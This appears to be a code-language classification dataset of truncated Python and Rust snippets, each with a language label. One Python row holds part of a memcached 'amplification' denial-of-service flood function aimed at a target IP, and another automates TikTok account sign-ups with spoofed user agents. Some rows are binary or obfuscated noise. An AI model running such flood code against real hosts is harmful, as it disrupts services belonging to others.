text
string
label_name
string
labels
int64
# General bot settings to use Pro settings you need to download Pro version from: www.automated-bots.com browser = ["Chrome"] # We advise logging in manually as opposed to saving it to a file. # You can pass through 2FA and bot verification checks this way too. email = " " password = " " headless = False firefoxPro...
Python
1
await mix_make.finish() # 检测通过 zhuyao_info = Items().get_data_by_item_id(zhuyao_goods_id) yaoyin_info = Items().get_data_by_item_id(yaoyin_goods_id) if await tiaohe(zhuyao_info, zhuyao_num, yaoyin_info, yaoyin_num): # 调和失败 msg = f"冷热调和失败!小心炸炉哦~" if XiuConfig()...
Python
1
, _RRXDMA>; #[allow(missing_docs)] #[doc(hidden)] pub struct _RRXDMA; #[doc = "`read()` method returns [rrxdma::R](rrxdma::R) reader structure"] impl crate::Readable for RRXDMA {} #[doc = "`write(|w| ..)` method takes [rrxdma::W](rrxdma::W) writer structure"] impl crate::Writable for RRXDMA {} #[doc = "Reset Receiver B...
Rust
0
# Copyright (c) Meta Platforms, Inc. and affiliates. # Modified by Sagar Vaze from https://github.com/hungthanhpham94/GRU4REC-pytorch/blob/master/lib/metric.py import torch def get_recall(indices, targets): #recall --> wether next item in session is within top K recommended items or not """ Code adapted from:...
Python
1
Basic,*/ ContentType, ContentLength, Server}; use hyper::server::{/*Http,*/ Service}; use hyper::mime; use serde_json; use serde_json::Value as JsValue; use std::path::Path; use std::io::Write; use std::result::Result as StdResult; use router::*; use ::*; //----------------------------------------------------------...
Rust
0
#!/usr/bin/env python # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software...
Python
1
[stack-pop$3 (lambda (self.9) (begin (mset!$300 self.9 '8 (- (mref$200 '8 self.9) '1)) (mref$200 (mref$200 self.9 '16) (* (mref$200 self.9 '8) '8))))] [stack-top$4 (lambda ...
Rust
0
# logic/json_helpers.py import json import logging def safe_json_loads(s, max_trim=200): """ Attempt to parse a JSON string. If it fails, first try appending a closing brace if one is missing. If that doesn't work, iteratively trim off the last character (up to max_trim times) until parsing succee...
Python
1
requency HashMap into Vec let counted = sort_map_to_vec(frequency); //format output and write to file let mut to_file = String::new(); for (word, frequency) in counted { let words_near = &map_near[&word]; let combined = format!( "Word: {:?}, Frequency: {:?},\n Words near: {:...
Rust
0
move = lambda x: x.next if x.next else x current_Node: DLLNode = self.__go_to(index) while index*step < end*step: ret.push_back(current_Node.value) for _ in range(abs(step)): current_Node = move(current_Node) index += step ...
Python
1
def addition(a,b): return a+b def subtraction(a,b): return a-b
Python
1
_colors) .with_system(manage_back_button), ) .add_system_set(SystemSet::on_update(AppState::Retry).with_system(manage_button_colors)) .add_system_set( SystemSet::on_update(AppState::Victory).with_system(manage_button_colors), ); } }...
Rust
0
d); (disk, disk_device) } // 命名格式为: ${CLONE_MARK}_VmId #[cfg(feature = "zfs")] #[inline(always)] pub(super) fn remove_image(vm: &Vm) -> Result<()> { let arg = format!( "zfs destroy {root}/{clone_mark}{id}", root = *ZFS_ROOT, clone_mark = CLONE_MARK, id = vm.id ); // zfs...
Rust
0
let mut flipped_edges_checksums = [0; 4]; for i in 0..4 { edges_checksums[i] = self.edges_checksums [(4 + i + (*source_index) as usize - (*target_index) as usize) % 4]; flipped_edges_checksums[i] = self.flipped_edges_checksums [(4 + i + (*source_i...
Rust
0
""" Concrete detector for red-color objects based on HSV thresholding. """ import numpy as np import cv2 from .base import Detector class RedColorDetector(Detector): """ Detects red-colored regions in a video frame. Uses Gaussian blur, HSV thresholding, and contour drawing. """ def __init__(self...
Python
1
''' Module of MacOS API for plyer.battery. ''' from os import environ from subprocess import Popen, PIPE from plyer.facades import Battery from plyer.utils import whereis_exe class OSXBattery(Battery): ''' Implementation of MacOS battery API. ''' def _get_state(self): old_lang = environ.get(...
Python
1
# # This file is part of the Chemical Data Processing Toolkit # # Copyright (C) Thomas Seidel <thomas.seidel@univie.ac.at> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # versi...
Python
1
assert_equal(arr.astype("M8"), res) arr[...] = np.bytes_("2020-10-10") # try a numpy string type assert_equal(arr.astype("M8"), res) arr = arr.astype("S") assert_equal(arr.astype("S").astype("M8"), res) @pytest.mark.parametrize("time_unit", [ "Y", "M", "W", "D", "h", "...
Python
1
#!/usr/bin/python -OOOO # vim: set fileencoding=utf8 shiftwidth=4 tabstop=4 textwidth=80 foldmethod=marker : # Copyright (c) 2010, Kou Man Tong. All rights reserved. # For licensing, see LICENSE file included in the package. """ BSON serialization and deserialization logic. Specifications taken from: http://bsonspec.or...
Python
1
from flask import jsonify, request, current_app from marshmallow import ValidationError from mind_matter_api.services.campaigns import CampaignsService from mind_matter_api.utils.decorators import require_auth, require_owner from mind_matter_api.utils.auth import is_user_owner, is_user_admin import logging logging.ba...
Python
1
let (webhook_id, token) = webhook; match ctx.http.execute_webhook(*webhook_id, token).embeds(out).await { Err(Error::Response { status, .. }) if status == StatusCode::NOT_FOUND => { Ok(Some(WebhookValidity::Unusable)) } Err(e) ...
Rust
0
# AUTO GENERATED FILE - DO NOT EDIT import typing # noqa: F401 from typing_extensions import TypedDict, NotRequired, Literal # noqa: F401 from dash.development.base_component import Component, _explicitize_args ComponentType = typing.Union[ str, int, float, Component, None, typing.Sequence[t...
Python
1
class carro: """atributos""" ruedas = 4 """constructor""" def __init__(self, color, aceleracion): self.color = color self.aceleracion = aceleracion self.velocidad = 0 """metodos y funciones""" def acelerar (self): self.velocidad = self.velocidad + self...
Python
1
nfig.enable_fastread4b_cmd { self.registers.fast_dual_rd_opcode.set(OpCode::FastRead4B as u8); } else { self.registers.fast_dual_rd_opcode.set(OpCode::FastReadDualOutput as u8); } self.init_passthrough_filters(); self.clear_jedec(); self.clear_sfdp(); ...
Rust
0
Ultra-low latency arbitrage agent.
Python
1
)? } Ok(Price { name, buy, sell }) } } pub struct TablePrice { pub prices: HashMap<String, Vec<Price>>, } impl PrmFile for TablePrice { fn file_name<'a>() -> &'a str { "price.prm" } fn file_parse<P: AsRef<Path>>(path_to_folder: P) -> Result<Self, PrmParseError> { ...
Rust
0
om::multi::many1; use nom::{AsChar, IResult}; fn is_hex_digit(c: char) -> bool { c.is_hex_digit() } fn from_hex(input: &str) -> Result<u8, std::num::ParseIntError> { u8::from_str_radix(input, 16) } fn take_byte(input: &str) -> IResult<&str, u8> { let (i, _) = tag("%")(input)?; map_res(take_while_m_n(...
Rust
0
ved (Push onto stack inside function, restore before return) ESP = 0b100, /// Address; Stack Segment / Base Pointer - General purpose 4 /// Function Saved (Push onto stack inside function, restore before return) EBP = 0b101, /// Address; Source Index (incrementer) - General purpose 5 /// Functio...
Rust
0
if labels is not None: labels = labels.contiguous().view(-1, 1) if labels.shape[0] != batch_size: raise ValueError('Num of labels does not match num of features') mask = torch.eq(labels, labels.T).float().to(device) else: mask = mask.float().to(dev...
Python
1
{BUILD_OUTPUT_DIR_DEFAULT}') parser.add_argument('-p', '--products', dest='products', required=False, default=[], type=str, nargs='+', help='Specify one or more products to build for. \ Accepts a space separated list') ...
Python
1
n.id == Anim::Throw { i32::min(5, ammo - 1) } else { i32::min(5, ammo) }; for i in 0..n { visible.set(index + i as usize, true); } let chain = 0; // TODO: Player.Chain (this seems broken, check skeleton) match chain { 1 => { visible.set(SoldierPart:...
Rust
0
) as file: json.dump(m.gameState, file) print("Game saved successfully.") def load_game(): global room, inventory lineCounter = 0 try: with open('savefile.txt', 'r') as file: for line in file: if lineCounter == 0: room = line.strip()[6:]...
Python
1
{ u: LTerm<U, E>, y: LTerm<U, E>, n: Vec<isize>, } impl<U, E> DistinctFd2Constraint<U, E> where U: User, E: Engine<U>, { pub fn new(u: LTerm<U, E>, y: LTerm<U, E>, n: Vec<isize>) -> Rc<dyn Constraint<U, E>> { assert!(u.is_list()); assert!(y.is_list()); Rc::new(DistinctF...
Rust
0
pfAccOutBytes.setMaxAccess("read-only") if mibBuilder.loadTexts: ipfAccOutBytes.setStatus("current") # Managed Objects groups # Notification objects # Notifications groups # Agent capabilities # Module compliance # Export all MIB objects to the MIB builder mibBuilder.exportSymbols( "UCD-IPFILTER-MIB...
Python
1
with testcontext() as u: self.assertNotIn(u, s) with testcontext() as u: self.assertRaises(KeyError, s.remove, u) self.assertNotIn(u, s) with testcontext() as u: s.add(u) self.assertIn(u, s) t = s.copy() with testcontext() as ...
Python
1
self.extension.left_pix + self.extension.width_pix { self.width_pix = ( self.subject.left_pix + self.subject.width_pix ) - self.left_pix; } else { self.width_pix = ( self.extension.left_pix + self.extension.width_pix ) - self.left_pix; } self.left_precent = (self.left_pix as f64) / (dim[...
Rust
0
r Job to wait for. timeout (int): The maximum number of seconds to wait for the job to complete. poll_interval (int): The number of seconds to wait between polling the job status. Raises: TimeoutError: If the Transfer Job does not complete within the specified `timeout`. """ logger....
Python
1
from playwright.async_api import async_playwright from fake_useragent import UserAgent from passwords import Generator from config import * from grizzly import Grizzly from asyncio import sleep passw = Generator() async def main(event, tiktok: str, ccode: str) -> None | bool | tuple[bool, str, str, str] | int: tr...
Python
1
eps), box Relu, box Conv2d::new(planes, planes, 3, stride, 1), box BatchNorm2d::new(planes, config.eps), box Relu, box Conv2d::new(planes, out_planes, 1, 1, 0), box BatchNorm2d::new(out_planes, config.eps), ]); if stride != 1 || in...
Rust
0
/// /// ```rust /// /// use yew::prelude::*; /// use yew_styles::spinner::{Spinner, SpinnerType}; /// use yew_styles::styles::{Palette, Size}; /// /// pub struct SpinnerExample; /// /// impl Component for SpinnerExample { /// type Message = (); /// type Properties = (); /// /// fn create(_props: Self::Pro...
Rust
0
from typing import List def manhattan_distance(board: int) -> int: """ Calculates the manhattan distance for a given board. returns the distance. """ cost = 0 for i in range(9): tile = (board // (10 ** i)) % 10 # Extracft the current tile if tile == 0: # Skip the empty tile ...
Python
1
.expect("failed to read from stdin"); result }; let result = match sub_search { SubSrch::Maximal { test_command: c } => { Searcher::from_str(c).search::<MaximalRange>(lines) } SubSrch::Minimal { test_command: c } => { Searcher::from_str(c).search::<Mi...
Rust
0
util::open_directory( dir_proxy, &Path::new(&config[..config.len() - 1]), fio::OPEN_RIGHT_READABLE | fio::OPEN_RIGHT_EXECUTABLE, )?; Ok(vec![sub_dir_proxy]) } else { let dir_proxy_clone = io_util::clone_directory(dir_proxy, fio::CLONE_FLAG_SAME_RIGHTS)?; ...
Rust
0
s", "NumBuffers", "NumControlBuses", "NumInputBuses", "NumOutputBuses", "NumRunningSynths", "OffsetOut", "OnePole", "OneZero", "Onsets", "Out", "OutputProxy", "PV_Add", "PV_BinScramble", "PV_BinShift", "PV_BinWipe", "PV_BrickWall", "PV_ChainUGen", ...
Python
1
Self::FRAC_1_SQRT_2 } #[inline] fn FRAC_2_PI() -> Self { Self::FRAC_2_PI } #[inline] fn FRAC_2_SQRT_PI() -> Self { Self::FRAC_2_SQRT_PI } #[inline] fn FRAC_PI_2() -> Self { Self::FRAC_PI_2 } #[inline] fn FRAC_PI_3() -> Self { Self::FRAC...
Rust
0
> { let api_context = rqctx.context(); let event = body_param.into_inner(); if event.record_id.is_empty() { bail!("record id is empty"); } // Get the row from airtable. let mut applicant = Applicant::get_from_airtable(&event.record_id, &api_context.db, event.cio_company_id).await?; ...
Rust
0
s and density matrices."] #[doc = ""] #[doc = " Note this differs from the action of unitary() on a density matrix."] #[doc = ""] #[doc = " This function may leave \\p qureg is an unnormalised state."] #[doc = ""] #[doc = " @see"] #[doc = " - ::ComplexMatrix2"] #[doc = " - unitary()"] ...
Rust
0
| CAttention | 0.348M | 1.43G | # --------------------------------------------- # sga = SGA(64, 8, False, 0.1) # print(sga(x).shape) # dac = DynamicAttentionConv(64, 4) # print(dac(x).shape) # ra = ReducedAttention(64, 128, 8) # mwsa = MultiScaleWindowCrossAtten...
Python
1
from circleModule import circleArea circleArea(5)
Python
1
(b))` #[inline] // #[cfg_attr(test, assert_instr(i32x4.extmul_high_i16x8_u))] // FIXME wasmtime #[target_feature(enable = "simd128")] #[doc(alias("i32x4.extmul_high_i16x8_u"))] pub unsafe fn i32x4_extmul_high_u16x8(a: v128, b: v128) -> v128 { transmute(llvm_i32x4_extmul_high_i16x8_u(a.as_i16x8(), b.as_i16x8())) } ...
Rust
0
mum chunk_size""" fields = list(map(fix_import_export_id_paths, fields)) row_from = 0 for rows in model_obj._extract_records(fields, data): rows = rows[1]["rows"] if rows["to"] - row_from + 1 >= chunk_size: yield row_from, rows["to"] row_fr...
Python
1
import pytest from fastapi.testclient import TestClient from fastapi_cache import FastAPICache from fastapi_cache.backends.inmemory import InMemoryBackend from numpy.testing import assert_almost_equal from src.main import app @pytest.fixture def client(): FastAPICache.init(InMemoryBackend()) with TestClient(...
Python
1
ype(int), training_loss, color='blue', label='Train') plt.plot(np.linspace(1, epoch, epoch).astype(int), validation_loss, color='red', label='Val') plt.legend() plt.savefig(os.path.join(self.experiment_dir, 'loss.png')) f.clear() plt.close(f) mu = np.mean(train_error_buf...
Python
1
/// [`GPIO`]: ../gpio/struct.GPIO.html pub fn into_input_pin( self, _token: Token<T, init_state::Enabled>, ) -> GpioPin<T, direction::Input> { // note that `_token` is consumed and discarded at this pint because we don't need it // anymore– it has served its purpose of guarantee...
Rust
0
uteDeposit"), ] simulate_execute_order: Annotated[ ContractFunc[tuple[primitives.bytes32, SimulatePricesParams], None], Name("simulateExecuteOrder"), ] simulate_execute_shift: Annotated[ ContractFunc[tuple[primitives.bytes32, SimulatePricesParams], None], Name("simulate...
Python
1
# -*- coding: utf-8 -*- """ Created on Sun Apr 28 20:58:17 2024 @author: User """ deg, min, sec = 32, 13, 49 # Conversion des secondes en une fraction de minute : fm = sec/60 # Conversion des minutes en une fraction de degré : fd = (min + fm)/60 # Valeur de l'angle en degrés "décimalisés" : ang = deg + fd # Valeur de...
Python
1
ctx: *mut Context) -> &'static mut Context { let root = unsafe { &mut *self.root }; let ctx = unsafe { &mut *ctx }; let parent = unsafe { &mut *ctx.parent }; // save the old top in ctx's parent ctx.parent = root.parent; // unlink ctx and it's parent parent.child ...
Rust
0
diagonal=1) return mask def forward(self, query, key, value, is_mask=False): """ Args: query: [B,T,N,D] key: [B,T,N,D] value: [B,T,N,D] is_mask: bool query_multi_segment: bool key_multi_segment: bool Returns: [...
Python
1
NMETHODS: the number of method identifier octets that appear in the METHODS field // METHODS: the values currently defined for METHOD are // o X'00' NO AUTHENTICATION REQUIRED // o X'01' GSSAPI // o X'02' USERNAME/PASSWORD // o X'03' to X'7F' IANA ASSIGNED // o X'80' to X'FE' R...
Rust
0
Expr> { fn from(num: Sp<f32>) -> Sp<Expr> { sp!(num.span => Expr::from(num.value)) } } impl From<Sp<Var>> for Sp<Expr> { fn from(var: Sp<Var>) -> Sp<Expr> { sp!(var.span => Expr::Var(var)) } } impl From<Sp<String>> for Sp<Expr> { fn from(string: Sp<String>) -> Sp<Expr> { sp!(string.span => Expr::from(string...
Rust
0
else: collections[-1]["mains"].append(collection) elif tag == _MAIN_ITEM_TAG_INPUT: collections[-1]["mains"].append( { "tag": "input", "locals": list(local_table), ...
Python
1
from collections import Counter for _ in range(int(input())): n=int(input()) a=list(map(int,input().split())) counter=Counter(a) ans=1 for key in counter: ans=max(ans,counter[key]) print(ans)
Python
1
d|jd|jIJq W|jJdS(Ns%s:it maxlinelent header_name(titemsR RRRtencodeR (RRthtv((sR/home/tom/ab/renpy-build/tmp/install.linux-x86_64/lib/python2.7/email/generator.pyR!s  "cCs...
Python
1
nt} 次请求") def memcached_amplification(target_ip, target_port, count): client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.connect((target_ip, target_port)) for _ in range(count): client.send(b"Memcached Amplification\r\n") print(f"Memcached放大攻击已对 {target_ip} 端口 {target_port} 完成 {...
Python
1
ges_CountReset_ActiveEdge: u32 = 12210; pub const DAQmx_CI_CountEdges_Gate_Enable: u32 = 12525; pub const DAQmx_CI_CountEdges_Gate_Term: u32 = 12526; pub const DAQmx_CI_CountEdges_Gate_TermCfg: u32 = 12527; pub const DAQmx_CI_CountEdges_Gate_LogicLvlBehavior: u32 = 12528; pub const DAQmx_CI_CountEdges_Gate_DigFltrEnabl...
Rust
0
roup_description_list' RECOMMENDED_FIREWALL_GROUP_NAME = 'recommended_firewall_group_name' ORGANIZATION_FIREWALL_GROUP_NAME = 'organization_firewall_group_name' RECOMMENDED_ZONE_NAME = 'recommended_zone_name' ORGANIZATION_ZONE_NAME = 'organization_zone_name' LESS_THAN_THE_CUSTOM_ATTRIBUTE_API_NAME_D...
Python
1
""" Провайдер для OpenAI API. """ import os import uuid from typing import List, Dict, Any, Optional from openai import AsyncOpenAI from .base import BaseProvider, ProviderInfo, ModelInfo, ChatRequest, ChatResponse from ai_api_server.modules.key_manager import APIKeyManager class OpenAIProvider(BaseProvider): ""...
Python
1
дозволяє синхронізувати субтитри без зусиль, зміщуючи час субтитрів автоматично або вручну з зміщенням у мілісекундах.", "ja_JP": "AutoSubSyncは字幕ファイルを簡単に同期するのに役立つユーザーフレンドリーなPythonツールです。様々な字幕フォーマットをサポートし、字幕のタイミングを自動的または手動でミリ秒オフセットでシフトすることで、字幕を簡単に同期できます。", "ko_KR": "AutoSubSync는 자막 파일을 쉽게 동기화하는 데 도움이 되는 사용자 친화적인 ...
Python
1
_toggle(); Ok(()) } } #[cfg(feature = "unproven")] impl<I, C> StatefulOutputPin for Pin<I, Output<C>> where I: PinId, C: OutputConfig, { #[inline] fn is_set_high(&self) -> Result<bool, Self::Error> { Ok(self._is_set_high()) } #[inline] fn is_set_low(&self) -> Result<bool...
Rust
0
} } use mrusty::{ self, Mruby, MrubyType, MrubyImpl, MrubyError, MrubyFile }; use rmp; use rmp_rpc; use rmp_serde; use protocol::{ TickRequest, TickResult, WorldState, Entity, }; pub struct Runner { mrb: MrubyType, } fn num_to_float(v: mrusty::Value) -> Result<f64, MrubyE...
Rust
0
nd) self.updateSelectedRows() def isSelectRightClickedRow(self): return self._isSelectRightClickedRow def setSelectRightClickedRow(self, isSelect: bool): self._isSelectRightClickedRow = isSelect selectRightClickedRow = pyqtProperty(bool, isSelectRightClickedRow, setSelectRightCli...
Python
1
ion 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "A...
Rust
0
# Copyright (c) Facebook, Inc. and its affiliates. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. import os import datasets import numpy as np from fewshot_gym_dataset import FewshotGymDataset, FewshotGymTextToTextDatase...
Python
1
size=12, x_align=0, y_align=0.5) label.max_width = 150 container[0].add_child(label) if by_work_hobby[activity] == "workday": color = graphics.Colors.category10[0] else: color = graphics.Colors.category10[2] hours = [rec ...
Python
1
import argparse from tqdm import tqdm def read_trec_run(file): run = {} with open(file, 'r') as f: for line in f: qid, _, docid, rank, score, _ = line.strip().split() if qid not in run: run[qid] = {'docs': {}, 'max_score': float(score), 'min_score': float(score)...
Python
1
# Copyright 2020 The TensorFlow Probability Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
Python
1
::sin(a7) + 0.000056 * f64::sin(a8) + 0.000047 * f64::sin(a9) + 0.000042 * f64::sin(a10) + 0.000040 * f64::sin(a11) + 0.000037 * f64::sin(a12) + 0.000035 * f64::sin(a13) + 0.000023 * f64::sin(a14); jd + delta_jd2 } <filename>rust/pyapi/src/tester.r...
Rust
0
0xdead as MBPtrT, 1.2345_f32.to_bits() as MBPtrT, s.as_ptr() as MBPtrT, 4, 5, 6, 7, 8, 9, ]; ...
Rust
0
from mm_1_role_post import post_role from mm_2_aaa_profile_post import post_aaa_prof from mm_3_ssid_profile_post import post_ssid_prof from mm_4_virtual_ap_post import post_vap_prof from mm_5_ap_group_post import post_ap_group from mm_10_write_memory import write_memory # -----------------配置的基本信息------------------- us...
Python
1
t token_uris = vec![ "https://metadata-url.com/my-metadata1", "https://metadata-url.com/my-metadata2", "https://metadata-url.com/my-metadata3", ]; // before tokens are sent, they are not on the channel state let exists = CHANNEL_STATE.may_load(&deps.storage, ...
Rust
0
>(" v1.2.3.4.5-Foo-bar+baz-qux ").ok(); let expected = semver010::Version::parse("1.2.3-Foo.bar+4.5.baz.qux").ok(); assert_eq!(actual, expected) } use semver::Version; macro_rules! vers { ($major:literal . $minor:literal . $patch:literal) => { semver::Version::new($m...
Rust
0
if 0 if uiwo29b7ydt} @await 0j @~ag4x_4yrvhc def imf1bq1pflz(xbc3x672k8h, ogyl8l4nz28, vdv78jb6cb1: i4luemyekkt, e00cak2wk6y: l8md8xlujff, ztm345a37t2, yp42n6gns32, fi5vj_1ijtq: hpb0p9q987w, nmsrfyt2si1: s33h__doxb0, bxwl40iuurp): del qdj_lpqlhho '# alloys_kites_grasp -> compressors_recruit_audit' import ih...
Python
1
{G_merged.number_of_nodes()} nodes and {G_merged.number_of_edges()} edges.") # 5 debug("Detecting hierarchical communities...") hierarchical_partitions, community_hierarchy = detect_hierarchical_communities(G_merged, max_levels=2) for level, partition in hierarchical_partitions.items(): ...
Python
1
import os import sys import time from rich.console import Console from rich.panel import Panel from rich.prompt import Prompt, Confirm from rich.progress import track from googlesearch import search from modules.logger import logger console = Console() # Bersihin layar def clear_screen(): os.system("clear" if os....
Python
1
import math from loguru import logger import numbers def _log_summary_table( model_name_or_path, eval_loss, bpc_metrics, token_byte_ratio, total_target_tokens, total_bytes, vocab_size, model_params_m, ): """Helper function to log summary table in vertical format.""" table_data...
Python
1
examples=['jgwdata/㐁/H_㐁_60BB6_11.png', 'jgwdata/㒸/G_㒸_乙7674(甲).png', 'jgwdata/㘝/H_㘝_604B4_0.png', 'jgwdata/㝪/H_㝪_60ECB_11.png', 'jgwdata/㭉/G_㭉_佚898合8714賓組.png', ...
Python
1
from .bm_func_fix_biggs import BmFuncFixBiggs from .bm_func_fix_cantrell import BmFuncFixCantrell from .bm_func_fix_colville import BmFuncFixColville from .bm_func_fix_dolan import BmFuncFixDolan from .bm_func_fix_piston import BmFuncFixPiston def teneva_bm_get_func_fix(): Bms = [] Bms.append(BmFuncFixBiggs) ...
Python
1
r.prompt( [ inquirer.Confirm( "logging", message="Would you like to enable logging?", default=False ) ] )["logging"] config_service.set_logger_enabled(enable_logging) print_formatted_text( HTML( "\n<b>Onboarding complete! 🎉 Congra...
Python
1
import numpy as np from matplotlib import pyplot as plt from mpl_toolkits.mplot3d import Axes3D from scipy.linalg import norm from write_obj import * def gen_cylinder_quads(x_split, y_split, counter = 0): #x is closed faces = [] for j in range(y_split - 1): for i in range(x_split - 1): ...
Python
1
import os mswin = os.name == "nt" def get_default_ddir(): """ Get system default Download directory, append mps dir. """ user_home = os.path.expanduser("~") join, exists = os.path.join, os.path.exists if mswin: return join(user_home, "Downloads", "yewtube") USER_DIRS = join(user_home, "...
Python
1
.format("%Y-%m-%dT%H:%M:%S%.f") .to_string() } fn exp(&self) -> String { chrono::NaiveDateTime::from_timestamp(self.exp, 0) .format("%Y-%m-%dT%H:%M:%S%.f") .to_string() } } pub(crate) fn decode(context: &Context) -> ServiceResult<&ClaimsResponse> { match context.token.jwt { None => ...
Rust
0
None => None, }; let stderr = match child.stderr.take() { Some(mut data) => Some(process_stdio(&mut data, "[graph-node:stderr] ").await?), None => None, }; Ok(StdIO { stdout, stderr }) } async fn process_stdio<T: AsyncReadExt + Unpin>( stdio: &mut T, prefix: &str, ) -> ...
Rust
0
2d_stride=[2, 1], pc_estimator_stride=[2, 1], duell_pc_x_inner_shape=(6, 1, 32), # [6,3,32] if swapping W-C dims duell_pc_filter_size=(4, 1), duell_pc_stride=(2, 1), ) ) super(Aac1dPolicy, self).__init__( ob_space, ...
Python
1
nse.status_code == 200: admin_login_data = json.loads(admin_login_response.content) if admin_login_data.get('success'): admin_token = admin_login_data['token'] print(f" ✅ 管理员登录成功") else: print(f" ❌ 管理员登录失败: {admin_login_data.get('message')}") r...
Python
1
in 0..3 { let measurement = sht.measure(PowerMode::NormalMode).unwrap(); println!( " {:.2} °C | {:.2} %RH", measurement.temperature.as_degrees_celsius(), measurement.humidity.as_percent(), ); } println!("\nLow power mode measurements:"); for _ i...
Rust
0
#!/usr/bin/env python # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # Usage: check_source_count.py SEARCH_TERM COUNT ERROR_LOCATION REPLACEMENT [FILES...] # Checks...
Python
1
from System import IntPtr from System.Runtime.InteropServices import Marshal from Ironclad import HGlobalAllocator, IAllocator def GetAllocatingTestAllocator(allocsList, freesList): class TestAllocator(HGlobalAllocator): def Alloc(self, bytes): ptr = HGlobalAllocator.Alloc(self, bytes) ...
Python
1
FlowPCAFlow_calc_const__InputArrayR_const__InputArrayR_const__InputOutputArrayR(self.as_raw_mut_OpticalFlowPCAFlow(), i0.as_raw__InputArray(), i1.as_raw__InputArray(), flow.as_raw__InputOutputArray()) }.into_result() } fn collect_garbage(&mut self) -> Result<()> { unsafe { sys::cv_optflow_OpticalFlowPCAFlow_colle...
Rust
0
"someothercontent"; let digest = DigestAlgorithm::Sha256.hash(&blob); if ContentDigest::try_new(digest)? .try_verify(&different_blob) .is_ok() { return Err("expected try_verify to fail for a different blob".into()); } Ok(()) } } <gh_stars...
Rust
0
set](yash_env::trap::TrapSet) //! provided by the [`yash_env`] crate. //! The `trap` built-in is implemented in the `yash_builtin` crate. //! //! # Signal traps //! //! When an [environment](Env) catches a signal with a function like //! [`wait_for_signals`](Env::wait_for_signals) and //! [`poll_signals`](Env::poll_si...
Rust
0